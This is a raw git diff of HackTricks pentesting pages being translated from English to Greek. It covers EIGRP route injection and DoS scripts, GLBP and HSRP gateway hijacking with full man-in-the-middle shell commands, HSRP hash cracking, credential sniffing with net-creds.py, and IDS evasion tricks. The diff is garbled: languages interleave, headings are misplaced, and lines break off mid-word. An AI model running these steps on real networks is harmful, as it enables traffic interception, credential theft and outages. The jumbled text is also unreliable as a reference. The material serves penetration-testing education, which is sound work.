- **Εκτέλεση**:
|
||||
%%%bash
|
||||
~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24
|
||||
%%%
|
||||
- **Παράμετροι**:
|
||||
- `--interface`: Καθορίζει τη δικτυακή διεπαφή, π.χ., `eth0`.
|
||||
- `--as`: Ορίζει τον αυτόνομο αριθμό EIGRP, π.χ., `1`.
|
||||
- `--subnet`: Ορίζει την τοποθεσία του υποδικτύου, π.χ., `10.10.100.0/24`.
|
||||
|
||||
- **Objective**: To disrupt network traffic flow by injecting a false route, leading to a blackhole where the traffic is directed to a non-existent destination.
|
||||
- **Tool**: **routeinject.py** script.
|
||||
- **Execution**:
|
||||
%%%bash
|
||||
~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32
|
||||
%%%
|
||||
- **Parameters**:
|
||||
- `--interface`: Specifies the attacker’s system interface.
|
||||
- `--as`: Defines the EIGRP AS number.
|
||||
- `--src`: Sets the attacker’s IP address.
|
||||
- `--dst`: Sets the target subnet IP.
|
||||
- `--prefix`: Defines the mask of the target subnet IP.
|
||||
## **Επίθεση EIGRP Blackhole**
|
||||
|
||||
## **Abusing K-Values Attack**
|
||||
- **Στόχος**: Να διαταραχθεί η ροή της κυκλοφορίας δικτύου με την εισαγωγή ενός ψεύτικου δρομολογίου, οδηγώντας σε ένα μαύρο τρύπα όπου η κυκλοφορία απευθύνεται σε μια μη υπαρκτή προορισμό.
|
||||
- **Εργαλείο**: Σενάριο **routeinject.py**.
|
||||
- **Εκτέλεση**:
|
||||
%%%bash
|
||||
~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32
|
||||
%%%
|
||||
- **Παράμετροι**:
|
||||
- `--interface`: Καθορίζει τη διεπαφή του επιτιθέμενου συστήματος.
|
||||
- `--as`: Ορίζει τον αριθμό AS του EIGRP.
|
||||
- `--src`: Ορίζει τη διεύθυνση IP του επιτιθέμενου.
|
||||
- `--dst`: Ορίζει τη διεύθυνση IP του στόχου του υποδικτύου.
|
||||
- `--prefix`: Ορίζει τη μάσκα της διεύθυνσης IP του στόχου του υποδικτύου.
|
||||
|
||||
- **Objective**: To create continuous disruptions and reconnections within the EIGRP domain by injecting altered K-values, effectively resulting in a DoS attack.
|
||||
- **Tool**: **relationshipnightmare.py** script.
|
||||
- **Execution**:
|
||||
%%%bash
|
||||
~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100
|
||||
%%%
|
||||
- **Parameters**:
|
||||
- `--interface`: Specifies the network interface.
|
||||
- `--as`: Defines the EIGRP AS number.
|
||||
- `--src`: Sets the IP Address of a legitimate router.
|
||||
## **Επίθεση Κατάχρησης των K-Values**
|
||||
|
||||
## **Routing Table Overflow Attack**
|
||||
- **Στόχος**: Να δημιουργηθούν συνεχείς διακοπές και επανασυνδέσεις εντός του τομέα EIGRP με την εισαγωγή τροποποιημένων τιμών K, με αποτέλεσμα μια επίθεση DoS.
|
||||
- **Εργαλείο**: Σενάριο **relationshipnightmare.py**.
|
||||
- **Εκτέλεση**:
|
||||
%%%bash
|
||||
~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100
|
||||
%%%
|
||||
- **Παράμετροι**:
|
||||
- `--interface`: Καθορίζει τη δικτυακή διεπαφή.
|
||||
- `--as`: Ορίζει τον αριθμό AS του EIGRP.
|
||||
- `--src`: Ορίζει τη διεύθυνση IP ενός νόμιμου δρομολογητή.
|
||||
|
||||
- **Objective**: To strain the router's CPU and RAM by flooding the routing table with numerous false routes.
|
||||
- **Tool**: **routingtableoverflow.py** script.
|
||||
- **Execution**:
|
||||
%%%bash
|
||||
sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50
|
||||
%%%
|
||||
- **Parameters**:
|
||||
- `--interface`: Specifies the network interface.
|
||||
- `--as`: Defines the EIGRP AS number.
|
||||
- `--src`: Sets the attacker’s IP address.
|
||||
## **Επίθεση Υπερχείλισης του Πίνακα Δρομολόγησης**
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
- **Στόχος**: Να φορτωθούν οι επεξεργαστές και η μνήμη του δρομολογητή με πλημμύρα ψευδών δρομολογήσεων.
|
||||
- **Εργαλείο**: Σενάριο **routingtableoverflow.py**.
|
||||
- **Εκτέλεση**:
|
||||
%%%bash
|
||||
sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50
|
||||
%%%
|
||||
- **Παράμετροι**:
|
||||
- `--interface`: Καθορίζει τη δικτυακή διεπαφή.
|
||||
- `--as`: Ορίζει τον αριθμό AS του EIGRP.
|
||||
- `--src`: Ορίζει τη διεύθυνση IP του επιτιθέμενου.
|
||||
|
|
|
@ -1,63 +1,48 @@
|
|||
# GLBP & HSRP Attacks
|
||||
# Επιθέσεις GLBP & HSRP
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
## FHRP Hijacking Overview
|
||||
## Επισκόπηση FHRP Hijacking
|
||||
|
||||
### Insights into FHRP
|
||||
FHRP is designed to provide network robustness by merging multiple routers into a single virtual unit, thereby enhancing load distribution and fault tolerance. Cisco Systems introduced prominent protocols in this suite, such as GLBP and HSRP.
|
||||
### Εισαγωγή στο FHRP
|
||||
Το FHRP σχεδιάστηκε για να παρέχει ανθεκτικότητα δικτύου συγχωνεύοντας πολλούς δρομολογητές σε μια μονάδα εικονικού δρομολογητή, βελτιώνοντας έτσι την κατανομή φορτίου και την ανοχή σφαλμάτων. Η Cisco Systems εισήγαγε πρωτόκολλα όπως το GLBP και το HSRP σε αυτήν τη σουίτα.
|
||||
|
||||
### GLBP Protocol Insights
|
||||
Cisco's creation, GLBP, functions on the TCP/IP stack, utilizing UDP on port 3222 for communication. Routers in a GLBP group exchange "hello" packets at 3-second intervals. If a router fails to send these packets for 10 seconds, it is presumed to be offline. However, these timers are not fixed and can be modified.
|
||||
### Εισαγωγή στο πρωτόκολλο GLBP
|
||||
Το GLBP, που δημιουργήθηκε από την Cisco, λειτουργεί στο στοίβα TCP/IP, χρησιμοποιώντας το UDP στη θύρα 3222 για την επικοινωνία. Οι δρομολογητές σε μια ομάδα GLBP ανταλλάσσουν πακέτα "hello" σε διαστήματα 3 δευτερολέπτων. Αν ένας δρομολογητής αποτύχει να στείλει αυτά τα πακέτα για 10 δευτερόλεπτα, θεωρείται ότι είναι εκτός σύνδεσης. Ωστόσο, αυτοί οι χρονοδιακόπτες δεν είναι σταθεροί και μπορούν να τροποποιηθούν.
|
||||
|
||||
### GLBP Operations and Load Distribution
|
||||
GLBP stands out by enabling load distribution across routers using a single virtual IP coupled with multiple virtual MAC addresses. In a GLBP group, every router is involved in packet forwarding. Unlike HSRP/VRRP, GLBP offers genuine load balancing through several mechanisms:
|
||||
### Λειτουργίες και κατανομή φορτίου του GLBP
|
||||
Το GLBP ξεχωρίζει δυναμικά επιτρέποντας την κατανομή φορτίου σε δρομολογητές χρησιμοποιώντας ένα μόνο εικονικό IP συνδυασμένο με πολλές εικονικές διευθύνσεις MAC. Σε μια ομάδα GLBP, κάθε δρομολογητής συμμετέχει στην προώθηση πακέτων. Αντίθετα από το HSRP/VRRP, το GLBP προσφέρει πραγματική ισορροπία φορτίου μέσω αρκετών μηχανισμών:
|
||||
|
||||
- **Host-Dependent Load Balancing:** Maintains consistent AVF MAC address assignment to a host, essential for stable NAT configurations.
|
||||
- **Round-Robin Load Balancing:** The default approach, alternating AVF MAC address assignment among requesting hosts.
|
||||
- **Weighted Round-Robin Load Balancing:** Distributes load based on predefined "Weight" metrics.
|
||||
- **Ισορροπία φορτίου ανάλογα με τον κόμβο:** Διατηρεί σταθερή ανάθεση διεύθυνσης MAC AVF σε έναν κόμβο, απαραίτητη για σταθερές ρυθμίσεις NAT.
|
||||
- **Ισορροπία φορτίου με τη μέθοδο Round-Robin:** Η προεπιλεγμένη προσέγγιση, εναλλαγή ανάθεσης διεύθυνσης MAC AVF μεταξύ των αιτούντων κόμβων.
|
||||
- **Ισορροπία φορτίου με τη μέθοδο Weighted Round-Robin:** Διανέμει το φορτίο με βάση προκαθορισμένες μετρικές "Weight".
|
||||
|
||||
### Key Components and Terminologies in GLBP
|
||||
- **AVG (Active Virtual Gateway):** The main router, responsible for allocating MAC addresses to peer routers.
|
||||
- **AVF (Active Virtual Forwarder):** A router designated to manage network traffic.
|
||||
- **GLBP Priority:** A metric that determines the AVG, starting at a default of 100 and ranging between 1 and 255.
|
||||
- **GLBP Weight:** Reflects the current load on a router, adjustable either manually or through Object Tracking.
|
||||
- **GLBP Virtual IP Address:** Serves as the network's default gateway for all connected devices.
|
||||
### Κύρια στοιχεία και ορολογία στο GLBP
|
||||
- **AVG (Active Virtual Gateway):** Ο κύριος δρομολογητής, υπεύθυνος για την ανάθεση διευθύνσεων MAC σε δρομολογητές ομοτίμους.
|
||||
- **AVF (Active Virtual Forwarder):** Ένας δρομολογητής που έχει οριστεί για τη διαχείριση της κίνησης του δικτύου.
|
||||
- **Προτεραιότητα GLBP:** Μετρική που καθορίζει τον AVG, ξεκινώντας από την προεπιλεγμένη τιμή 100 και κυμαίνεται από 1 έως 255.
|
||||
- **Βάρος GLBP:** Αντικατοπτρίζει το τρέχον φορτίο ενός δρομολογητή, ρυθμίζεται είτε χειροκίνητα είτε μέσω ανίχνευσης αντικειμένου.
|
||||
- **Εικονική διεύθυνση IP GLBP:** Λειτουργεί ως προεπιλεγμένη πύλη δικτύου για όλες τις συνδεδεμένες συσκευές.
|
||||
|
||||
For interactions, GLBP employs the reserved multicast address 224.0.0.102 and UDP port 3222. Routers transmit "hello" packets at 3-second intervals, and are considered non-operational if a packet is missed over a 10-second duration.
|
||||
Για τις αλληλεπιδράσεις, το GLBP χρησιμοποιεί την ειδική διεύθυνση πολυεκπομπής 224.0.0.102 και τη θύρα UDP 3222. Οι δρομολογητές μεταδίδουν πακέτα "hello" σε διαστήματα 3 δευτερολέπτων και θεωρούνται μη λειτουργικοί αν χάσουν ένα πακέτο για 10 δευτερόλεπτα.
|
||||
|
||||
### GLBP Attack Mechanism
|
||||
An attacker can become the primary router by sending a GLBP packet with the highest priority value (255). This can lead to DoS or MITM attacks, allowing traffic interception or redirection.
|
||||
|
||||
### Executing a GLBP Attack with Loki
|
||||
[Loki](https://github.com/raizo62/loki_on_kali) can perform a GLBP attack by injecting a packet with priority and weight set to 255. Pre-attack steps involve gathering information like the virtual IP address, authentication presence, and router priority values using tools like Wireshark.
|
||||
|
||||
Attack Steps:
|
||||
1. Switch to promiscuous mode and enable IP forwarding.
|
||||
2. Identify the target router and retrieve its IP.
|
||||
3. Generate a Gratuitous ARP.
|
||||
4. Inject a malicious GLBP packet, impersonating the AVG.
|
||||
5. Assign a secondary IP address to the attacker's network interface, mirroring the GLBP virtual IP.
|
||||
6. Implement SNAT for complete traffic visibility.
|
||||
7. Adjust routing to ensure continued internet access through the original AVG router.
|
||||
|
||||
By following these steps, the attacker positions themselves as a "man in the middle," capable of intercepting and analyzing network traffic, including unencrypted or sensitive data.
|
||||
|
||||
For demonstration, here are the required command snippets:
|
||||
### Μηχανισμός επίθεσης GLBP
|
||||
Ένας επιτιθέμενος μπορεί να γίνει ο κύριος δρομολογητής αποστέλλοντας ένα πακέτο GLBP με την υψηλότερη τιμή προτεραιότητας (255). Αυτό μπορεί να οδηγήσει σε επιθέσεις DoS ή MITM, επιτρέποντας την παρεμπόδιση ή την ανακατεύθυνση της κίνησης.
|
||||
|
||||
### Ε
|
||||
```bash
|
||||
# Enable promiscuous mode and IP forwarding
|
||||
sudo ip link set eth0 promisc on
|
||||
|
@ -71,82 +56,47 @@ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
|||
sudo route del default
|
||||
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
|
||||
```
|
||||
Η παρακολούθηση και η παρέμβαση στην κίνηση μπορεί να γίνει χρησιμοποιώντας το net-creds.py ή παρόμοια εργαλεία για την καταγραφή και ανάλυση των δεδομένων που ρέουν μέσω του πειρατεμένου δικτύου.
|
||||
|
||||
Monitoring and intercepting traffic can be done using net-creds.py or similar tools to capture and analyze data flowing through the compromised network.
|
||||
### Παθητική Εξήγηση της Απάτης HSRP με Λεπτομέρειες Εντολών
|
||||
|
||||
### Passive Explanation of HSRP Hijacking with Command Details
|
||||
#### Επισκόπηση του HSRP (Hot Standby Router/Redundancy Protocol)
|
||||
Το HSRP είναι ένα πρωτόκολλο ιδιοκτησίας της Cisco σχεδιασμένο για την αντιγραφή ασφάλειας της πύλης δικτύου. Επιτρέπει τη διαμόρφωση πολλαπλών φυσικών δρομολογητών σε μια μόνο λογική μονάδα με κοινή διεύθυνση IP. Αυτή η λογική μονάδα διαχειρίζεται από έναν πρωταρχικό δρομολογητή που είναι υπεύθυνος για την κατεύθυνση της κίνησης. Αντίθετα από το GLBP, που χρησιμοποιεί μετρικές όπως προτεραιότητα και βάρος για την ισορροπία φορτίου, το HSRP βασίζεται σε έναν μόνο ενεργό δρομολογητή για τη διαχείριση της κίνησης.
|
||||
|
||||
#### Overview of HSRP (Hot Standby Router/Redundancy Protocol)
|
||||
HSRP is a Cisco proprietary protocol designed for network gateway redundancy. It allows the configuration of multiple physical routers into a single logical unit with a shared IP address. This logical unit is managed by a primary router responsible for directing traffic. Unlike GLBP, which uses metrics like priority and weight for load balancing, HSRP relies on a single active router for traffic management.
|
||||
#### Ρόλοι και Ορολογία στο HSRP
|
||||
- **Ενεργός Δρομολογητής HSRP**: Η συσκευή που λειτουργεί ως πύλη και διαχειρίζεται τη ροή της κίνησης.
|
||||
- **Δρομολογητής Εφεδρικού HSRP**: Ένας αντιγραφής ασφαλείας δρομολογητής, έτοιμος να αναλάβει τον ρόλο του ενεργού δρομολογητή σε περίπτωση αποτυχίας.
|
||||
- **Ομάδα HSRP**: Ένα σύνολο δρομολογητών που συνεργάζονται για τον σχηματισμό ενός μόνο ανθεκτικού εικονικού δρομολογητή.
|
||||
- **Διεύθυνση MAC HSRP**: Μια εικονική διεύθυνση MAC που ανατίθεται στον λογικό δρομολογητή στη διάταξη HSRP.
|
||||
- **Εικονική Διεύθυνση IP HSRP**: Η εικονική διεύθυνση IP της ομάδας HSRP, που λειτουργεί ως προεπιλεγμένη πύλη για τις συνδεδεμένες συσκευές.
|
||||
|
||||
#### Roles and Terminology in HSRP
|
||||
- **HSRP Active Router**: The device acting as the gateway, managing traffic flow.
|
||||
- **HSRP Standby Router**: A backup router, ready to take over if the active router fails.
|
||||
- **HSRP Group**: A set of routers collaborating to form a single resilient virtual router.
|
||||
- **HSRP MAC Address**: A virtual MAC address assigned to the logical router in the HSRP setup.
|
||||
- **HSRP Virtual IP Address**: The virtual IP address of the HSRP group, acting as the default gateway for connected devices.
|
||||
#### Εκδόσεις HSRP
|
||||
Το HSRP έχει δύο εκδόσεις, HSRPv1 και HSRPv2, που διαφέρουν κυρίως στη χωρητικότητα της ομάδας, τη χρήση πολυεκπομπής IP και τη δομή της εικονικής διεύθυνσης MAC. Το πρωτόκολλο χρησιμοποιεί συγκεκριμένες διευθύνσεις πολυεκπομπής IP για την ανταλλαγή πληροφοριών υπηρεσίας, με πακέτα Hello που αποστέλλονται κάθε 3 δευτερόλεπτα. Ένας δρομολογητής θεωρείται ανενεργός εάν δεν λάβει κανένα πακέτο εντός 10 δευτερολέπτων.
|
||||
|
||||
#### HSRP Versions
|
||||
HSRP comes in two versions, HSRPv1 and HSRPv2, differing mainly in group capacity, multicast IP usage, and virtual MAC address structure. The protocol utilizes specific multicast IP addresses for service information exchange, with Hello packets sent every 3 seconds. A router is presumed inactive if no packet is received within a 10-second interval.
|
||||
#### Μηχανισμός Επίθεσης HSRP
|
||||
Οι επιθέσεις HSRP περιλαμβάνουν την ανάληψη με βία του ρόλου του Ενεργού Δρομολογητή εισάγοντας μια μέγιστη τιμή προτεραιότητας. Αυτό μπορεί να οδηγήσει σε μια επίθεση Man-In-The-Middle (MITM). Ουσιαστικά βήματα πριν από την επίθεση περιλαμβάνουν τη συλλογή δεδομένων σχετικά με τη διάταξη HSRP, το οποίο μπορεί να γίνει χρησιμοποιώντας το Wireshark για την ανάλυση της κίνησης.
|
||||
|
||||
#### HSRP Attack Mechanism
|
||||
HSRP attacks involve forcibly taking over the Active Router's role by injecting a maximum priority value. This can lead to a Man-In-The-Middle (MITM) attack. Essential pre-attack steps include gathering data about the HSRP setup, which can be done using Wireshark for traffic analysis.
|
||||
#### Βήματα για την Παράκαμψη Πιστοποίησης HSRP
|
||||
1. Αποθηκεύστε την κίνηση του δικτύου που περιέχει δεδομένα HSRP ως αρχείο .pcap.
|
||||
```shell
|
||||
tcpdump -w hsrp_traffic.pcap
|
||||
```
|
||||
2. Εξαγάγετε τις κατακερματισμένες τιμές MD5 από το αρχείο .pcap χρησιμοποιώντας το hsrp2john.py.
|
||||
```shell
|
||||
python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
|
||||
```
|
||||
3. Αποκρυπτογραφήστε τις κατακερματισμένες τιμές MD5 χρησιμοποιώντας το John the Ripper.
|
||||
```shell
|
||||
john --wordlist=mywordlist.txt hsrp_hashes
|
||||
```
|
||||
|
||||
#### Steps for Bypassing HSRP Authentication
|
||||
1. Save the network traffic containing HSRP data as a .pcap file.
|
||||
```shell
|
||||
tcpdump -w hsrp_traffic.pcap
|
||||
```
|
||||
2. Extract MD5 hashes from the .pcap file using hsrp2john.py.
|
||||
```shell
|
||||
python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
|
||||
```
|
||||
3. Crack the MD5 hashes using John the Ripper.
|
||||
```shell
|
||||
john --wordlist=mywordlist.txt hsrp_hashes
|
||||
```
|
||||
**Εκτέλεση Ενέργειας Εισαγωγής HSRP με το Loki**
|
||||
|
||||
**Executing HSRP Injection with Loki**
|
||||
|
||||
1. Launch Loki to identify HSRP advertisements.
|
||||
2. Set the network interface to promiscuous mode and enable IP forwarding.
|
||||
```shell
|
||||
sudo ip link set eth0 promisc on
|
||||
sudo sysctl -w net.ipv4.ip_forward=1
|
||||
```
|
||||
3. Use Loki to target the specific router, input the cracked HSRP password, and perform necessary configurations to impersonate the Active Router.
|
||||
4. After gaining the Active Router role, configure your network interface and IP tables to intercept the legitimate traffic.
|
||||
```shell
|
||||
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
|
||||
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
||||
```
|
||||
5. Modify the routing table to route traffic through the former Active Router.
|
||||
```shell
|
||||
sudo route del default
|
||||
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
|
||||
```
|
||||
6. Use net-creds.py or a similar utility to capture credentials from the intercepted traffic.
|
||||
```shell
|
||||
sudo python2 net-creds.py -i eth0
|
||||
```
|
||||
|
||||
Executing these steps places the attacker in a position to intercept and manipulate traffic, similar to the procedure for GLBP hijacking. This highlights the vulnerability in redundancy protocols like HSRP and the need for robust security measures.
|
||||
|
||||
|
||||
## References
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
1. Ξεκινήστε το Loki για να εντοπίσετε τις διαφημίσεις HSRP.
|
||||
2. Ορίστε τη δικτυακή διεπαφή σε λειτουργία promiscuous και ενεργοποιήστε την προώθηση IP.
|
||||
```shell
|
||||
sudo ip link set eth0 promisc on
|
||||
sudo sysctl -w net.ipv4.ip_forward=1
|
||||
```
|
||||
3. Χρησιμοποιήστε το Loki για να επιτεθείτε στον συγκεκριμένο δρομολογητή, εισαγάγετε το αποκρυπτογραφημένο HSRP κωδικό πρόσβασης και πραγματοποιήστε τις απαραίτητες ρυθμίσεις για να προσομοιώσετε τον Ενεργό Δρομολογητή.
|
||||
4. Αφού αποκτήσετε τον ρόλο του Ενεργού Δρομολογητή, ρυθμίστε τη
|
||||
|
|
|
@ -1,75 +1,65 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Συμμετάσχετε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# **TTL Manipulation**
|
||||
# **Παραποίηση TTL**
|
||||
|
||||
Send some packets with a TTL enough to arrive to the IDS/IPS but not enough to arrive to the final system. And then, send another packets with the same sequences as the other ones so the IPS/IDS will think that they are repetitions and won't check them, but indeed they are carrying the malicious content.
|
||||
Στείλτε μερικά πακέτα με ένα TTL αρκετό για να φτάσουν στο IDS/IPS αλλά όχι αρκετό για να φτάσουν στον τελικό σύστημα. Και στη συνέχεια, στείλτε άλλα πακέτα με τις ίδιες ακολουθίες με τα προηγούμενα, έτσι ώστε το IPS/IDS να νομίζει ότι είναι επαναλήψεις και να μην τα ελέγξει, αλλά στην πραγματικότητα μεταφέρουν το κακόβουλο περιεχόμενο.
|
||||
|
||||
**Nmap option:** `--ttlvalue <value>`
|
||||
**Επιλογή Nmap:** `--ttlvalue <value>`
|
||||
|
||||
# Avoiding signatures
|
||||
# Αποφυγή υπογραφών
|
||||
|
||||
Just add garbage data to the packets so the IPS/IDS signature is avoided.
|
||||
Απλά προσθέστε αχρήστα δεδομένα στα πακέτα, έτσι ώστε να αποφευχθεί η υπογραφή του IPS/IDS.
|
||||
|
||||
**Nmap option:** `--data-length 25`
|
||||
**Επιλογή Nmap:** `--data-length 25`
|
||||
|
||||
# **Fragmented Packets**
|
||||
# **Κατακερματισμένα πακέτα**
|
||||
|
||||
Just fragment the packets and send them. If the IDS/IPS doesn't have the ability to reassemble them, they will arrive to the final host.
|
||||
Απλά κατακερματίστε τα πακέτα και στείλτε τα. Εάν το IDS/IPS δεν έχει τη δυνατότητα να τα επανασυνθέσει, θα φτάσουν στον τελικό υπολογιστή.
|
||||
|
||||
**Nmap option:** `-f`
|
||||
**Επιλογή Nmap:** `-f`
|
||||
|
||||
# **Invalid** _**checksum**_
|
||||
# **Μη έγκυρο** _**checksum**_
|
||||
|
||||
Sensors usually don't calculate checksum for performance reasons. So an attacker can send a packet that will be **interpreted by the sensor but rejected by the final host.** Example:
|
||||
Οι αισθητήρες συνήθως δεν υπολογίζουν το checksum για λόγους απόδοσης. Έτσι, ένας επιτιθέμενος μπορεί να στείλει ένα πακέτο που θα **ερμηνευθεί από τον αισθητήρα αλλά θα απορριφθεί από τον τελικό υπολογιστή.** Παράδειγμα:
|
||||
|
||||
Send a packet with the flag RST and a invalid checksum, so then, the IPS/IDS may thing that this packet is going to close the connection, but the final host will discard the packet as the checksum is invalid.
|
||||
